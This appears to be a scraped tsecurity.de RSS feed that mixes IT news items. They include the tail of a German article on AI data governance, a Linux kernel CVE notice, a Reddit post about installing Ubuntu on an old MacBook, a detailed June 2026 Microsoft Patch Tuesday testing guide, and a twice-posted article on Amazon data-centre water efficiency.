Aufgabe der Daten-Governance ist es, die DatenqualitĂ€t und -konsistenz zu sichern, die Einhaltung von Zugriffsberechtigungen und Datenschutzstandards wie die DSGVO zu ĂŒberwachen, Urheberrechte und Lizenzen zu berĂŒcksichtigen, Vorurteile zu vermeiden sowie die Skalierbarkeit, Wartbarkeit und AktualitĂ€t der Datenbasis sicherzustellen. Daten-Governance ist als Teil einer ĂŒbergreifenden KI-Governance zu verstehen. Letztere ist wiederum eines der wichtigsten Mittel, um das fĂŒr viele KI-Anwendungen gesetzlich geforderte Risikomanagement zu betreiben. HierfĂŒr haben die OECD, die EU und die US-Standardisierungsbehörde NIST jeweils Leitlinien, einen Rechtsrahmen und ein Risk Management Framework herausgegeben.

Langfristige Ziele setzen

Um mit agentischer KI auch das nĂ€chste Kapitel der KI-Innovation anzugehen, ist das Vorhandensein einer Daten- und KI-Governance eine absolute Voraussetzung. Agentische Governance setzt auf dieses Fundament auf, um die deutlich höheren Anforderungen an Datenintegration und InteroperabilitĂ€t zu erfĂŒllen. „Ein Agent, der nicht nur antwortet, sondern Aufgaben ausfĂŒhrt, muss SystemzustĂ€nde, Regeln, Berechtigungen, Prozesskontexte und aktuelle GeschĂ€ftsdaten zuverlĂ€ssig verstehen“, sagt Dan Hoffmann.

„Governance und Vertrauen sind das Fundament fĂŒr Wachstum“, schreibt die Unternehmensberatung Bain & Company in einem aktuellen Advisory zum diesem Thema. Berechtigungen, Zugriff auf Tools und die Entscheidungen oder Transaktionen, die KI-Agenten ausfĂŒhren können, mĂŒssten deshalb innerhalb festgelegter Parameter liegen. „Die Governance erfordert zudem IdentitĂ€ts- und Authentifizierungsmodelle, die das Least-Privilege-Prinzip nicht nur auf menschliche Nutzer anwenden, sondern auch auf autonome Agenten ausweiten.“

Apropos Innovation: Das Marketing der IT/KI-Anbieter hatte zur Folge, dass viele GeschĂ€ftsfĂŒhrer und VorstĂ€nde allein auf kurzfristige Steigerungen in der ProduktivitĂ€t ihrer Mitarbeiter sowie schnellere, effizientere Prozesse setzten. Diese Erwartung ist berechtigt und sie wurde von 80 Prozent der Befragten in der McKinsey-Studie bestĂ€tigt. Doch Unternehmen, die aktuell den grĂ¶ĂŸten Nutzen aus KI ziehen, erkennen deutlicher die langfristige Rolle der KI fĂŒr ihr Unternehmen. In der Studie nannten sie wesentlich hĂ€ufiger Wachstum oder Innovation als zusĂ€tzliche Ziele ihres KI-Engagements als der Rest der Befragten)

Ihr KI-Fundament prĂŒfen

]]> <![CDATA[CVE-2026-46021 | Linux Kernel up to 6.6.139/6.12.85/6.18.26/7.0.3 thermal thermal_zone_device_register_with_trips use after free (Nessus ID 321065)]]> https://tsecurity.de/de/3597671/sicherheitsluecken/cve-2026-46021-linux-kernel-up-to-661396128561826703-thermal-thermalzonedeviceregisterwithtrips-use-after-free-nessus-id-321065/ https://tsecurity.de/de/3597671/sicherheitsluecken/cve-2026-46021-linux-kernel-up-to-661396128561826703-thermal-thermalzonedeviceregisterwithtrips-use-after-free-nessus-id-321065/ Mon, 15 Jun 2026 00:08:47 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Linux Kernel up to 6.6.139/6.12.85/6.18.26/7.0.3. It has been declared as critical. This issue affects the function thermal_zone_device_register_with_trips of the component thermal. Such manipulation leads to use after free. This vulnerability is referenced as CVE-2026-46021. The attack needs to be initiated within the local network. No exploit is available. It is recommended to upgrade the affected component.]]> <![CDATA[2011 MacBook Pro looks like it just came out of the store after installing UBUNTU]]> https://tsecurity.de/de/3597589/linux-tipps/2011-macbook-pro-looks-like-it-just-came-out-of-the-store-after-installing-ubuntu/ https://tsecurity.de/de/3597589/linux-tipps/2011-macbook-pro-looks-like-it-just-came-out-of-the-store-after-installing-ubuntu/ Sun, 14 Jun 2026 22:14:09 +0200 🐧 Linux Tipps tsecurity.de

What kind of magic is this?

I bought this old 2011 MacBook Pro upgraded with more RAM and an SSD. I tried installing Monterey and Sonoma on it with OpenCoreLegacy and I honestly don't know how people can recommend this kind of installation.

The Mac was clearly struggling. It ran hot with anything, even after being cleaned and having the thermal paste replaced. Half the features didn't work or weren't applicable, it was full of bugs, Night Shift would make text flicker while scrolling and turn it orange. Browsers in full screen were no longer recognized by the trackpad. I could only switch or close tabs using CMD, and don't even get me started on the App Store, which supported practically nothing. I had a knockoff macOS that wasn't even remotely macOS.

I downloaded Ubuntu with a lot of anxiety, thinking it would require who knows how much effort, but instead everything was PERFECT. I knew there were some configurations to do at the start because of the Wi-Fi and some fan and battery issues specific to this MacBook, but with AI I was able to tinker in the terminal and between one sudo and the next I fixed everything, and the Mac was REBORN. It looks like it just came out of the store. It doesn't run hot, it's smooth, the blue light filter works perfectly, everything works.

Ubuntu is absolutely easy and intuitive. I prefer it to Windows for sure, and maybe even to macOS. It's genuinely foolproof. A popup appears for everything, YOU CANNOT GO WRONG. Seriously, who spread the rumor that Linux is difficult? It's crazy. I'm a total noob and I probably never would have done it without AI, because I had no desire to read through forums and guide after guide, but AI simplified that part, and now Linux might become my favorite OS. I also love that Ubuntu is basically the macOS of Linux.

Whoever you are, creator of Ubuntu, congratulations, you did an amazing job, far more competent than billion-dollar companies. Thanks to you, this MacBook I bought to learn how to tinker has just been reborn.

submitted by /u/Intrepid-Routine-875
[link] [comments]]]> <![CDATA[U.S. CISA adds Ivanti Sentry flaw to its Known Exploited Vulnerabilities catalog and urges patching by June 14]]> https://tsecurity.de/de/3594414/hacking/us-cisa-adds-ivanti-sentryflaw-to-its-known-exploited-vulnerabilities-catalog-and-urges-patching-by-june-14/ https://tsecurity.de/de/3594414/hacking/us-cisa-adds-ivanti-sentryflaw-to-its-known-exploited-vulnerabilities-catalog-and-urges-patching-by-june-14/ Fri, 12 Jun 2026 21:33:45 +0200 đŸ•”ïž Hacking tsecurity.de <![CDATA[For June, Patch Tuesday means an IT scramble]]> https://tsecurity.de/de/3594011/it-nachrichten/for-june-patch-tuesday-means-an-it-scramble/ https://tsecurity.de/de/3594011/it-nachrichten/for-june-patch-tuesday-means-an-it-scramble/ Fri, 12 Jun 2026 18:24:12 +0200 📰 IT Nachrichten tsecurity.de

Microsoft this week released 206 updates affecting Windows, Office, Exchange Server, and its developer tools —  including three Windows vulnerabilities already publicly disclosed. That trio includes an elevation of privilege in the Collaborative Translation Framework (CVE-2026-45586), a denial of service in HTTP.sys (CVE-2026-49160), and a BitLocker security feature bypass (CVE-2026-50507). At the moment, none appear to be under active exploitation, but all three are rated “Exploitation More Likely.” 

Even without an exploited zero-day, the June 2026 Patch Tuesday release requires Patch Now recommendations for Windows, Office, and Exchange. The latter is back in the patch picture with a consolidated security update that Microsoft recommends installing “as soon as possible.” 

The Readiness team suggests testing start with domain controllers, Hyper-V hosts, anything self-hosting on HTTP.sys, and Outlook-heavy desktops —  in that order. To help navigate these changes, here’s a useful infographic detailing the risks of deploying the updates to each platform.

(More information about recent Patch Tuesday releases is available here.)

Known issues

This June release note from Microsoft flags known issues with three updates:

  • KB5094128 — BitLocker recovery prompt on first restart (Windows Server 2022). The PCR7 condition we have tracked since April is still live on the platforms that did not receive May’s Boot Manager servicing fix. Devices with BitLocker enabled on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and System Information reporting Secure Boot State PCR7 Binding as “Not Possible” may prompt for the recovery key on the first restart after installing this update.
  • KB5094127 — Windows 10 21H2/22H2. The release note carries a known-issue flag, too, with Windows 10 in the same boat as Server 2022: it has not received the Boot Manager servicing improvement that closed the BitLocker/PCR7 recovery condition on Windows 11. So, that same Group Policy configuration remains the trigger to check before deployment.
  • KB5094125/KB5094128 — WSUS synchronization error details suppressed (Windows Server 2025 and 2022). WSUS no longer displays synchronization error details in its reporting. This is deliberate: the functionality was “temporarily removed to address the Remote Code Execution Vulnerability, CVE-2025-59287.” Microsoft offered no workaround.

One continuing advisory from May remains in effect: Windows Update can still replace manually installed graphics drivers with older OEM versions from the Windows Update catalogue.

Major revisions and mitigations

Unlike last month, this patch cycle delivered two genuine revisions and a cluster of out-of-band fixes that require action:

  • Microsoft Teams Spoofing (CVE-2026-32185) — revised to version 3.0 on May 21. Microsoft announced the availability of the security update for Teams for Android; customers running affected versions should install it. If your mobile fleet runs Android, this is the action item.
  • Microsoft Defender out-of-band cluster (May 19–21) — a Critical remote code execution flaw (CVE-2026-45584), plus an elevation of privilege (CVE-2026-41091) and a denial of service (CVE-2026-45498).
  • SharePoint RCE (CVE-2026-45659) — a separate out-of-band fix also posted on May 21. SharePoint admins had three distinct security notices in a fortnight. The recommendation: deploy these clustered but separate patches as a single unit.

Interestingly, there were two omissions from last month’s list:

  • SharePoint Server RCE (CVE-2026-47294) — published May 29 with the note that it “was addressed by updates that were released in May 2026, but the CVE was inadvertently omitted from the May 2026 Security Updates.”
  • Windows DWM Core Library Information Disclosure (CVE-2026-48566) — also fixed in May, also left off the May list.

That makes two months running: the Patch Tuesday list is never final. The June release itself also carried a substantive revision:

  • Remote Desktop cluster re-issued for Windows 11 26H1 — five RDP/RDS CVEs from 2024–2025, including two Critical RCEs (CVE-2024-49123, CVE-2024-49132) and the RDP Server RCE (CVE-2024-43582). If you are running 26H1, the June cumulative closes these older CVEs.

Windows lifecycle and enforcement updates

Given the month SharePoint just had, SharePoint 2016/2019 require some of the cycle’s most active patching on a platform with one update left. If migration is not already in progress, July’s final update is the deadline. Here are the other key dates:

  • The 2011 KEK CA expires on June 24, and the UEFI CA for third-party boot loaders follows three days later, with the Windows Production PCA for the boot manager coming up October. 19. Devices that have not taken the Windows UEFI CA 2023 key updates under CVE-2023-24932 lose the ability to receive updated boot components once the certificates lapse. This is a big deal.
  • With just one Patch Tuesday to go, SharePoint Server 2016 and 2019, Project Server 2016 and 2019, SQL Server 2016, and SQL Server 2014 ESU Year 2 all reach end of support on July 14. (InfoPath 2013, SharePoint Designer 2013, and Visual Studio 2022 17.12 LTSC go with them.)
  • Kerberos RC4 hardening (CVE-2026-20833) moves from default-hardening to its enforcement phase next month. Accounts still depending on RC4 service tickets have weeks, not months.
  • The graphics-driver targeting change (four-part to two-part Hardware IDs) pilots to September 2026, with broader enforcement planned for Q4 2026 to Q1 2027; until then, Windows Update can still downgrade manually installed display drivers.

This month’s release is a security-only release with a clear feature focus: the Remote Desktop client. The Remote Desktop ActiveX control (mstscax.dll) is the most patched component this cycle with five separate updates (see below). 

The secondary theme is Windows authentication, with three updates to the NTLM security package. Every Windows binary this month reports no functional changes, so the work is pure regression validation. Lower-risk patches reach DHCP, telephony, Hyper-V, UDF and Projected File System storage, and the graphics stack.

Remote Desktop client

The Remote Desktop client (mstscax.dll) draws a high-risk flag that lands specifically on printer redirection — the path that maps a client’s local printers into a remote session. A regression here typically shows as missing redirected printers, failed print jobs, or a hang on connect or reconnect. The wider Remote Desktop stack is also updated, including RemoteApp and clipboard redirection (rdpclip.exe, RdpCoreTS.dll) and Remote Desktop Licensing (lserver.dll). So, be sure to validate connection, session, and licensing together.

A passing run is a remote session that connects, redirects printers, prints, and survives a reconnect with no crashes or missing devices.

  • Connect with Remote Desktop Connection (mstsc.exe) to a test host, enable printer redirection in Local Resources, and confirm redirected printers appear in the session.
  • Print a test page from an app in the session to a redirected printer; repeat with two or more client printers installed.
  • Disconnect and reconnect the session, then confirm the redirected printers are still present and usable.
  • Repeat the printer test in both a full desktop session and a RemoteApp session.
  • Exercise general remote access: connect through a Remote Desktop Gateway, use VMConnect to reach a VM, and verify clipboard and device redirection.
  • On a Remote Desktop Licensing server, confirm clients connect with licensing enabled, across Per User and Per Device modes.

Windows authentication (NTLM)

Three updates touch the NTLM security support provider (msv1\_0.dll), the module behind network authentication when Kerberos is not used. Authentication changes are regression-sensitive: the failure modes are logon failures, broken file-share or RDP access, and application sign-in problems. Validate across domain-joined and workgroup machines.

  • Sign in to domain-joined and standalone machines with domain, local, and cached credentials after a reboot.
  • Access SMB file shares by host name and IP, including paths that fall back to NTLM, and confirm authenticated reads and writes.
  • Authenticate to a Remote Desktop host and to line-of-business applications that rely on integrated Windows authentication.
  • Watch the Security event log for new logon-failure or audit anomalies during the test window.

Other Windows components

The remaining updates carry no functional changes, so cover them with routine regression by area.

  • Networking: exercise DHCP lease, renewal, and release on IPv4 and IPv6 (dhcpcore), sustained socket traffic over the WinSock driver (afd.sys, two updates), HTTP.sys request handling under IIS, and TAPI telephony integrations (tapisrv.dll).
  • Virtualization: boot Generation 1 and Generation 2 VMs, including nested virtualization, to cover the Hyper-V hypervisor (hvix64/hvax64), and connect a VM through an external virtual switch (toggling NIC RSS) to cover vmswitch.sys.
  • Storage and filesystems: read and write UDF-formatted media (udfs.sys), exercise the Projected File System minifilter (prjflt.sys), and validate cloud files hydration and Work Folders sync (cldflt.sys, workfolders.exe), including a ReFS volume with BitLocker enabled.
  • Graphics and shell: run GPU-accelerated and 2D rendering workloads to cover Direct2D (d2d1.dll), GDI+ (gdiplus.dll), the Desktop Window Manager (dwmcore.dll), the Windows Imaging Component (windowscodecs.dll), and UI Automation (UiaManager.dll); watch for artifacts and accessibility regressions.
  • Notifications and input: open apps that raise toast and push notifications (wpnapps.dll, wpncore.dll) and verify Text Services Framework input across keyboard layouts and IMEs (msctf.dll).

Microsoft Office & SharePoint

June’s Office updates are MSI editions only: Excel 2016 (KB5002877), Word 2016 (KB5002879), Office 2016 shared components (KB5002878, KB5002852, and the rich-edit control KB5002578), and Office Online Server 2019 (KB5002875). The shared Office 2016 component updates also apply to the SharePoint Server 2016, 2019, and Subscription Edition baselines. No Critical non-security client release ships this cycle, and Click-to-Run estates are unaffected.

  • Open complex Excel workbooks with formulas, macros, and external data connections; save and reopen to verify integrity.
  • Edit Word documents with embedded objects, tracked changes, and rich formatting that exercises the rich-edit control.
  • On the SharePoint Server baselines (2016, 2019, Subscription Edition) and Office Online Server, validate document library operations, co-authoring, and browser-based viewing and editing.
  • Confirm that Office add-ins and line-of-business integrations continue to operate.

Developer tools and databases

June’s fixes update the .NET SDK across the 8.0, 9.0, and 10.0 servicing lines (8.0.422, 9.0.315, 10.0.301), and ships SQL Server GDR security updates spanning SQL Server 2016 SP3 through SQL Server 2025, in both RTM+GDR and cumulative-update+GDR branches.

  • After installing the .NET SDK update, build and run representative applications and confirm existing projects compile and execute normally.
  • For SQL Server, install the GDR update onto the matching baseline or cumulative-update branch, then restart the service and run standard transactions.
  • Verify a backup and restore, confirm Always On availability groups stay healthy, and test patch install and removal on each servicing branch.

The Readiness team suggests that this month’s testing lead with Remote Desktop. The client is both the most-patched component and the sole High Risk item, so give it a focused regression pass centered on printer redirection, then broaden to general connectivity, RemoteApp, clipboard and device redirection, gateway access, and licensing. 

The NTLM authentication updates are the second priority: validate domain and standalone logon, file-share access, and application sign-in. Everything else is a no-functional-change security update, so cover networking, Hyper-V, storage, and graphics with routine regression. Office is MSI-only, with Click-to-Run untouched, and the .NET and SQL Server updates round out the developer and database estate.

Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:

Browsers

Microsoft Edge released the stable version (149.0.4022.52) on June 4, per the Edge security release notes. Nothing ships for Internet Explorer, which remains retired. This cycle is unusually lopsided: just one Edge-engineered CVE against a very large Chromium upstream flow:

  • CVE-2026-47644 — Copilot Chat (Microsoft Edge) — Information disclosure (CVSS 6.5, rated critical). For the second month running, Copilot Chat in Edge supplies the headline browser issue (May’s was CVE-2026-33111); Microsoft addresses the Copilot service component, with the browser update completing the fix.
  • Chromium upstream — 407 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the May report: use-after-free, out-of-bounds read/write, type confusion, and policy bypass across V8, Blink, PDFium, WebRTC, ANGLE, and DevTools. The same fixes ship in the Chrome Stable channel; see the Chrome release blog for the upstream notes.

The Chromium volume looks alarming but is routine plumbing —  it flows to Edge through its own auto-update channel. Add these updates to your standard release schedule for Edge-managed environments.

Windows

Microsoft addressed 119 vulnerabilities in Windows this month, 22 rated critical and 97, important —  nearly double May’s count. Elevation of privilege again dominates by volume (49 entries), followed by remote code execution (28), information disclosure (16), security feature bypass (15), denial of service (6), and a handful of spoofing and tampering entries. All three of June’s publicly disclosed zero-days land here:

  • CVE-2026-45586 — Collaborative Translation Framework (CTFMON) — Elevation of privilege (CVSS 7.8, publicly disclosed).
  • CVE-2026-49160 — HTTP.sys — Denial of service (CVSS 7.5, publicly disclosed).
  • CVE-2026-50507 — BitLocker — Security feature bypass (CVSS 6.8, publicly disclosed) —  BitLocker’s third entry this month, keeping it on the radar alongside the PCR7 known issue.

At the feature level, the critical risks are concentrated in nine areas:

  • Remote Desktop Client — the largest single cluster: 11 CVEs, 7 rated critical, led by CVE-2026-47289 and CVE-2026-42985 (both CVSS 8.8, the latter “Exploitation More Likely”).
  • Windows Kernel — CVE-2026-45657, remote code execution at CVSS 9.8, the joint-highest Windows score this cycle.
  • HTTP.sys — CVE-2026-47291, unauthenticated remote code execution (CVSS 9.8, “Exploitation More Likely”) in the kernel-mode web server underpinning IIS, WinRM, and anything self-hosting on http.sys — paired with the disclosed DoS above.
  • DHCP Client — CVE-2026-44815, remote code execution at CVSS 9.8.
  • Active Directory Domain Services — CVE-2026-45648, remote code execution (CVSS 8.8) on the directory itself, with the Kerberos KDC adding a separate critical RCE (CVE-2026-47288).
  • Hyper-V — three critical RCEs (CVE-2026-45607, CVE-2026-45641, CVE-2026-47652, up to CVSS 8.4) — guest-to-host risk on virtualization hosts.
  • Windows Graphics Component — two critical RCEs (CVE-2026-44803, CVE-2026-44812, CVSS 7.8), both “Exploitation More Likely” vulnerabilities reachable through Office rendering paths.
  • Windows Deployment Services — CVE-2026-42987, remote code execution (CVSS 8.1).
  • Cryptographic Services and Device Health Attestation — critical elevation-of-privilege entries (CVE-2026-44810, CVSS 8.4; CVE-2026-33828, CVSS 7.8) in trust-anchor components.

Given the publicly disclosed vulnerabilities this month, add this Windows update to your Patch Now schedule.

Office

Microsoft released 53 Office CVEs this month — 10 critical, 43 important. Remote code execution again leads (24 entries), but the surprise is spoofing at 20 entries, almost all of it SharePoint. (SharePoint Server appears in 30 of the 53 CVEs this cycle.) The rest split across information disclosure (6), elevation of privilege (2), and a security feature bypass.

Add these Office updates to your Patch Now deployment, prioritizing Outlook-heavy desktops and SharePoint farms.

Microsoft Exchange and SQL Server

The pattern inverts from May: SQL Server receives nothing (no patches at all), while Exchange Server — absent in May — returns with a consolidated security update carrying seven CVEs for on-premises builds (Exchange Server 2016 CU23 and Exchange Server 2019), plus one cloud-side critical:

  • CVE-2026-45504 — Exchange Server — Elevation of privilege (CVSS 8.8). The headline on-premises entry.
  • CVE-2026-45503 and CVE-2026-47631 — Exchange Server — Information disclosure and spoofing, each CVSS 8.1.
  • CVE-2026-45583 — Exchange Server — Remote code execution (CVSS 7.5), with three further spoofing/information-disclosure entries (CVE-2026-45500, CVE-2026-45501, CVE-2026-45502) rounding out the set.
  • CVE-2026-48579 — Exchange Online — Information disclosure (CVSS 9.1, rated critical) —  addressed service-side, no customer action.

Microsoft also revised the May Exchange spoofing entry (CVE-2026-42897) to point at this same June security update, with the recommendation to install “as soon as possible.” Add the June Exchange SU to your Patch Now schedule.

Developer tools

Microsoft released 10 CVEs across its developer tooling this month, all rated important —  though the top score outranks most of this cycle’s criticals, and the concentration in Visual Studio Code (seven of 10 entries) continues last month’s pattern:

  • Visual Studio Code — seven entries led by CVE-2026-47281, an elevation of privilege at CVSS 9.6 —  the highest developer-tools score in months. Behind it: CVE-2026-45482, a security feature bypass in the GitHub Copilot Chat extension (CVSS 8.4); CVE-2026-47292, remote code execution in the MSSQL extension (CVSS 7.8); a second elevation of privilege (CVE-2026-40376, CVSS 7.5); and security-feature-bypass, tampering, and information-disclosure entries (CVE-2026-48569, CVE-2026-47287, CVE-2026-47284).
  • Microsoft .NET on Windows has three entries: CVE-2026-45490, a .NET SDK elevation of privilege (CVSS 7.8) across .NET 8.0, 9.0, and 10.0; CVE-2026-45591, an ASP.NET Core denial of service (CVSS 7.5); and CVE-2026-45491, a .NET tampering issue (CVSS 6.2).

Add these Microsoft updates to your standard developer update release plan.

Adobe (and third-party updates)

Adobe released APSB26-63 for Acrobat and Reader this cycle, fixing critical code-execution flaws; Adobe reports no exploitation in the wild. Add it to your standard third-party schedule. This is a big (fat) Windows update this month (and yes, I think that AI has something to do with the number of these patches). 

Good luck with your deployments.

]]> <![CDATA[What is Windows Ready Print? How to Enable or Disable it?]]> https://tsecurity.de/de/3593975/windows-tipps/what-is-windows-ready-print-how-to-enable-or-disable-it/ https://tsecurity.de/de/3593975/windows-tipps/what-is-windows-ready-print-how-to-enable-or-disable-it/ Fri, 12 Jun 2026 18:08:10 +0200 đŸȘŸ Windows Tipps tsecurity.de Enable or disable Windows Ready PrintIf you have ever struggled with printer drivers crashing or failing to install, you are going to like what Microsoft is doing with Windows 11. Microsoft has decided to move away from legacy third-party printer drivers and introduce a more modern printing system called Windows Ready Print. In this post, we will see how to [
]

This article What is Windows Ready Print? How to Enable or Disable it? first appeared on TheWindowsClub.com.

]]> <![CDATA[Is Language Visual? An Experiment with Chinese Characters]]> https://tsecurity.de/de/3593457/ai-nachrichten/is-language-visual-an-experiment-with-chinese-characters/ https://tsecurity.de/de/3593457/ai-nachrichten/is-language-visual-an-experiment-with-chinese-characters/ Fri, 12 Jun 2026 14:36:33 +0200 🔧 AI Nachrichten tsecurity.de A story about a broken printer, visual inductive bias, and why the race endedin a tie.

The post Is Language Visual? An Experiment with Chinese Characters appeared first on Towards Data Science.

]]> <![CDATA[Amazon claims its data centers are 7x more water-efficient than the industry average]]> https://tsecurity.de/de/3592174/it-nachrichten/amazon-claims-its-data-centers-are-7x-more-water-efficient-than-the-industry-average/ https://tsecurity.de/de/3592174/it-nachrichten/amazon-claims-its-data-centers-are-7x-more-water-efficient-than-the-industry-average/ Fri, 12 Jun 2026 03:17:26 +0200 📰 IT Nachrichten tsecurity.de

As they face increasing backlash over their resource consumption, major data center operators are scrambling to prove they’re not a drain on the environment, or, at least, not as much of one as their competition.

Amazon has published some bold new claims to this end: The tech giant says it has achieved a 52% improvement in water efficiency over the last 5 years, and says its data centers are 7x more water-efficient than the industry average.

This, the company says, is thanks to a mix of innovative methods, including free air and evaporative cooling, and increased temperature thresholds.

The announcement underscores the importance of disclosure in the AI era, and signals that technology is no longer the sole differentiator, said Sanchit Vir Gogia of Greyhound Research. “Water efficiency has become a front in hyperscale competition, not a footnote.”

How Amazon is reducing its water consumption

Amazon’s global data center operations used 0.12 liters of water per kilowatt-hour (L/kWh) in 2025, compared to the industry average of 0.84 L/kWh, a 7x lead, the company says.

Its closest competition was Microsoft, which used 0.27 L/kWh in 2025, dropping from .30 in 2024. Google seems to be the heaviest user in recent years (averaging 1.15 L/kWh), while Meta has hovered around .20 L/kWh.

Amazon employs a multiple methods to garner these results, it says.

Firstly, roughly 90% of the time the company uses “free air cooling,” pulling outside air into data centers, letting the air absorb heat, then pumping it back outside, with no water required. Amazon likens it to opening the windows on a summer evening rather than running the air conditioner.

When temperatures rise, Amazon uses evaporative cooling. Water is sprayed onto an absorbent medium and air is allowed to flow through it. The water evaporates and pulls heat from the air, cooling it by 5 to 10 degrees Fahrenheit.

Further, the company has been deliberately raising the thresholds at which its centers operate, designing servers that can tolerate more heat, thus reducing water needs. After a few years of “iteration, learning, and adjusting,” Amazon has raised the operating temperature to 85° F.

Reclaiming water, partnering on community projects

In 2025, Amazon says it returned 3 US gallons of water to local communities for every 4 gallons used, and is 75% of the way towards its goal of being water positive by 2030, where every gallon used will be returned in kind.

The company uses reclaimed water sourced from wastewater treatment plants, as opposed to potable water, across 130 of its data centers, with 26 facilities using this method exclusively. Additionally, it is helping communities develop reclaimed water programs that could return more than 5.8 billion US gallons annually.

Amazon is particularly focusing on areas where water is scarce, and aims to partner with communities “to ensure our water stewardship creates local benefits that they want to see,” the company says.

Not hollow claims, but there are nuances

“The gains are certainly real and the engineering is legitimate, so Amazon earns credit here,” said Matt Kimball, VP and principal analyst at Moor Insights & Strategy.

The 0.12 figure is Water Usage Effectiveness (WUE), which measures the water used at the data center per kilowatt-hour of IT load. The metric was introduced by Green Grid and is widely accepted as the standard, he explained.

Still, it can be difficult to be precise in these measurements, and there are nuances: Is a data center operator only reporting WUE? Do they count the water used to generate electricity (most actually don’t)? Is reclaimed water being counted in the waysame as potable?

But “to Amazon’s credit, they aren’t just shifting the burden elsewhere,” Kimball noted.

Free air cooling and higher operating temperature thresholds reduce both water and energy consumption, and Amazon’s power usage effectiveness (PUE), the standard metric for measuring data center efficiency, sits around 1.15.

“This means they’re not achieving this strong water number at the expense of a weak energy number,” Kimball said.

Not a secret recipe

While the gains are impressive, the techniques Amazon highlights are increasingly becoming standard practices, Kimball pointed out.

“Amazon is on the leading edge, but it’s not a secret recipe,” he said. What sets the company apart is scale, execution, facility design, geographic mix, and its aggressive pursuit of energy goals.

Others are doing the similar things, if through different avenues: Microsoft is investing in closed-loop cooling systems that dramatically reduce evaporative water loss. Google is heavily focused on reclaimed water and using AI to optimize data centers. Meta has long relied on outside-air cooling. And overall, the industry is moving toward liquid cooling for dense AI deployments, “which changes the water equation again,” said Kimball.

One of the big variables is location: Climate influences water efficiency, so where a company builds its infrastructure is as important as its cooling methods. Further, power-consumptive AI changes the discussion, he emphasized; traditional enterprise workloads and dense AI training clusters create very different thermal profiles.

“The industry is still working through what the long-term water and energy balance looks like as AI infrastructure scales,” Kimball said.

The disclosure arms race

As Gogia noted, what separates operators now is disclosure.

For instance, Microsoft has committed to publishing water data for every US data center region, while Equinix reports a portfolio figure of 0.91 L/kWh and 1.41 L/kWh for its evaporative-cooled sites, which is a “boundary discipline most of the market has yet to adopt,” said Gogia.

The next phase of cloud competition will be won on transparency, not just thermodynamics, he contended. “Operators that disclose region by region will expand faster, permit easier and litigate less.” In fact, his firm expects water disclosure to become a standard line item in cloud and AI infrastructure RFPs within 12 to 24 months.

CIOs should demand region-level withdrawal and consumption data, source-water mix, cooling architecture by region, drought contingency plans, and a “clean separation between operational efficiency and replenishment accounting,” Gogia advised.

Meanwhile, the timing of this reporting tells its own story: Amazon published these figures two days after its home city Seattle put a one-year freeze on new large data centers, citing water use as a big concern. Further, more than 70 US jurisdictions now have temporary or permanent restrictions, and the European Commission is preparing efficiency standards with water criteria.

So, this can be construed as a sustainability report as much as a “social-license counteroffensive,” said Gogia.

AI is changing the game entirely

Buyers should care about these developments for practical reasons beyond environmental, social, and governance (ESG) reporting, Kimball said.

First, water is becoming a real constraint on where data centers can be built, and communities are pushing back on development. This can impact capacity, expansion timelines, and operating costs in high-demand markets, he said.

Second, a cloud provider’s water footprint increasingly becomes part of a customer’s own sustainability profile. Therefore, organizations with environmental reporting requirements or water-related goals are paying closer attention to the resource consumption of the infrastructure supporting their apps and AI workloads.

Ultimately, Gogia noted, data centers are no longer invisible infrastructure: They are becoming contested civic infrastructure.

“The winners will treat water as a shared public constraint rather than a line item in sustainability theater,” he said. “The future of AI infrastructure will be decided as much by resource stewardship as by engineering capability.”

This article originally appeared on NetworkWorld.

]]> <![CDATA[Amazon claims its data centers are 7x more water-efficient than the industry average]]> https://tsecurity.de/de/3592148/it-security-nachrichten/amazon-claims-its-data-centers-are-7x-more-water-efficient-than-the-industry-average/ https://tsecurity.de/de/3592148/it-security-nachrichten/amazon-claims-its-data-centers-are-7x-more-water-efficient-than-the-industry-average/ Fri, 12 Jun 2026 03:07:51 +0200 📰 IT Security Nachrichten tsecurity.de

As they face increasing backlash over their resource consumption, major data center operators are scrambling to prove they’re not a drain on the environment, or, at least, not as much of one as their competition.

Amazon has published some bold new claims to this end: The tech giant says it has achieved a 52% improvement in water efficiency over the last 5 years, and says its data centers are 7x more water-efficient than the industry average.

This, the company says, is thanks to a mix of innovative methods, including free air and evaporative cooling, and increased temperature thresholds.

The announcement underscores the importance of disclosure in the AI era, and signals that technology is no longer the sole differentiator, said Sanchit Vir Gogia of Greyhound Research. “Water efficiency has become a front in hyperscale competition, not a footnote.”

How Amazon is reducing its water consumption

Amazon’s global data center operations used 0.12 liters of water per kilowatt-hour (L/kWh) in 2025, compared to the industry average of 0.84 L/kWh, a 7x lead, the company says.

Its closest competition was Microsoft, which used 0.27 L/kWh in 2025, dropping from .30 in 2024. Google seems to be the heaviest user in recent years (averaging 1.15 L/kWh), while Meta has hovered around .20 L/kWh.

Amazon employs a multiple methods to garner these results, it says.

Firstly, roughly 90% of the time the company uses “free air cooling,” pulling outside air into data centers, letting the air absorb heat, then pumping it back outside, with no water required. Amazon likens it to opening the windows on a summer evening rather than running the air conditioner.

When temperatures rise, Amazon uses evaporative cooling. Water is sprayed onto an absorbent medium and air is allowed to flow through it. The water evaporates and pulls heat from the air, cooling it by 5 to 10 degrees Fahrenheit.

Further, the company has been deliberately raising the thresholds at which its centers operate, designing servers that can tolerate more heat, thus reducing water needs. After a few years of “iteration, learning, and adjusting,” Amazon has raised the operating temperature to 85° F.

Reclaiming water, partnering on community projects

In 2025, Amazon says it returned 3 US gallons of water to local communities for every 4 gallons used, and is 75% of the way towards its goal of being water positive by 2030, where every gallon used will be returned in kind.

The company uses reclaimed water sourced from wastewater treatment plants, as opposed to potable water, across 130 of its data centers, with 26 facilities using this method exclusively. Additionally, it is helping communities develop reclaimed water programs that could return more than 5.8 billion US gallons annually.

Amazon is particularly focusing on areas where water is scarce, and aims to partner with communities “to ensure our water stewardship creates local benefits that they want to see,” the company says.

Not hollow claims, but there are nuances

“The gains are certainly real and the engineering is legitimate, so Amazon earns credit here,” said Matt Kimball, VP and principal analyst at Moor Insights & Strategy.

The 0.12 figure is Water Usage Effectiveness (WUE), which measures the water used at the data center per kilowatt-hour of IT load. The metric was introduced by Green Grid and is widely accepted as the standard, he explained.

